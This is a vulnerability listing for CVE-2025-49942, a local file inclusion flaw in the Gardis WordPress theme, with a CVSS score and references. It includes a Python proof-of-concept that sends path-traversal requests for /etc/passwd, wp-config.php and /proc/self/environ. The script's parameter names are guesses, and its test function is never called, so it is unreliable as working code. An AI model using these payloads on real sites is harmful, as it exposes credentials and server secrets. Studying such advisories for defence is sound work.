CVE-2025-49942

Description

Improper Control of Filename for Include/Require Statement in PHP Program ('PHP Remote File Inclusion') vulnerability in AncoraThemes Gardis gardis allows PHP Local File Inclusion.This issue affects Gardis: from n/a through <= 1.2.13.

CVSS Details

CVSS Score

8.1

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

No configuration data available.

Gardis <= 1.2.13

Gardis from n/a through <= 1.2.13

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

# CVE-2025-49942 PoC - Gardis Theme LFI
# Target: WordPress site with Gardis theme <= 1.2.13
import requests

target = "http://target-site.com/"

# Common vulnerable parameters in WordPress themes
vulnerable_params = [
    "?theme=gardis",
    "?template=gardis",
    "?file=gardis",
    "?page=gardis",
    "?view=gardis"
]

# Files to read
files_to_read = [
    "../../../../../../../../etc/passwd",
    "../../../../../../../../wp-config.php",
    "../../../../../../../../../../../var/www/html/wp-config.php",
    "../../../../../../../../proc/self/environ"
]

def test_lfi(target, param, file):
    url = target + param + "&" + file.split("/")[-1] + "=" + file
    # Alternative: appending to the parameter value
    url2 = target + param + "&inc=" + file
    
    headers = {
        "User-Agent": "Mozilla/5.0"
    }
    
    try:
        response = requests.get(url, headers=headers, timeout=10)
        if response.status_code == 200:
            if "root:" in response.text or "<?php" in response.text:
                print(f"[+] VULNERABLE: {url}")
                print(f"[+] Content:\n{response.text[:500]}")
                return True
    except Exception as e:
        print(f"[-] Error: {e}")
    return False

# Example exploitation
# Read wp-config.php
# GET /wp-content/themes/gardis/some-file.php?inc=../../../../../../wp-config.php

print("CVE-2025-49942 Gardis Theme LFI PoC")
print("Use with caution and only on authorized systems")

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-49942
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-49942
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-49942/
[4] VulDB https://vuldb.com/cve/CVE-2025-49942
[5] https://patchstack.com/database/Wordpress/Theme/gardis/vulnerability/wordpress-gardis-theme-1-2-13-local-file-inclusion-vulnerability?_s_id=cve

Raw JSON Data

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